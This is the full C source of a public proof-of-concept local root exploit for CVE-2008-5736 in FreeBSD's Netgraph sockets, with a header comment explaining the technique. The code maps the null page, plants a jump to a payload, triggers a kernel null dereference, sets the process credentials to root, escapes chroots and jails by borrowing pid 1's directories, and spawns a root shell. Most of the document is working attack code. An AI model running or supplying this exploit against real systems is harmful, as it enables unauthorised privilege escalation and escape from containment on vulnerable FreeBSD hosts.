FreeBSD 6.0 local exploit

/*  

 * FreeBSD <= 6.4-RELEASE Netgraph Exploit  

 * by zx2c4  

 *   

 *   

 * This is an exploit for CVE-2008-5736, the FreeBSD protosw  

 * and loosely based on Don Bailey's 2008 exploit -  

 * http://www.exploit-db.com/exploits/7581/ . The thing with  

 * Don's exploit is that it relies on having a known location  

 * of allproc, which means having access to the kernel or  

 * debugging symbols, either of which might not be available.  

 * Initial attempts included a general memory search for some  

 * characteristics of allproc, but this was difficult to make  

 * reliable. This solution here is a much more standard - get  

 * the current thread, change its permissions, and execl to  

 * shell. Additionally, it breaks out of chroots and freebsd  

 * jails by reparenting to pid 1 and copying its fds.  

 *  

 * This reliably works on kernels on or below 6.4-RELEASE:  

 *  

 * $ gcc a.c  

 * $ ./a.out  

 * ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~  

 * ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~  

 * ~~~~~ greetz to don bailey, edemveiss ~~~~~  

 *  

 * [+] mmapping null page  

 * [+] adding jmp to pwnage in null page  

 * [+] opening netgraph socket  

 * [+] triggering null dereference  

 * [+] elevating permissions  

 * [+] got root!  

 * #  

 *  

 * It's an oldie, but simple enough that someone needed  

 * to write another PoC exploit at some point.  

 *  

 * cheers,  

 * zx2c4, 27-2-2011  

 *  

 */ 

   

#define _KERNEL  

#include <sys/types.h>  

#include <sys/time.h>  

#include <sys/param.h>  

#include <sys/proc.h>  

#include <sys/ucred.h>  

#include <sys/mman.h>  

#include <sys/socket.h>  

#include <sys/stat.h>  

#include <sys/filedesc.h>  

#include <sys/queue.h>  

#include <netgraph/ng_socket.h>  

#include <stdio.h>  

#include <fcntl.h>  

#include <unistd.h>  

   

#define PAGES 1  

   

   

volatile int got_root = 0;  

int root(void)  

{  

    struct thread *thread;  

    asm(  

        "movl %%fs:0, %0" 

        : "=r"(thread)  

    );  

    thread->td_critnest = 0;  

    thread->td_proc->p_ucred->cr_uid = 0;  

    thread->td_proc->p_ucred->cr_prison = NULL;  

   

    struct proc *parent = thread->td_proc;  

    while (parent->p_pptr && parent->p_pid != 1)  

        parent = parent->p_pptr;  

    thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;  

    thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;  

    thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;  

    thread->td_proc->p_pptr = parent;  

   

    got_root = 1;  

    return 0;  

}  

   

int main(int argc, char *argv[])  

{  

    printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");  

    printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");  

    printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");  

   

    printf("[+] mmapping null page\n");  

    if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {  

        perror("[-] mmap failed");  

        return -1;  

    }  

   

    printf("[+] adding jmp to pwnage in null page\n");  

    *(char*)0x0 = 0x90;  

    *(char*)0x1 = 0xe9;  

    *(unsigned long*)0x2 = (unsigned long)&root;  

   

    printf("[+] opening netgraph socket\n");  

    int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);  

    if (s < 0) {  

        perror("[-] failed to open netgraph socket");  

        return -1;  

    }  

   

    printf("[+] triggering null dereference\n");  

    shutdown(s, SHUT_RDWR);  

   

    if (!got_root) {  

        printf("[-] failed to trigger pwnage\n");  

        return -1;  

    }  

   

    printf("[+] elevating permissions\n");  

    setuid(0);    

    setgid(0);  

    if (getuid() != 0) {  

        printf("[-] failed to get root\n");  

        return -1;  

    }  

   

    printf("[+] got root!\n");  

    execl("/bin/sh", "sh", NULL);  

   

    return 0;  

}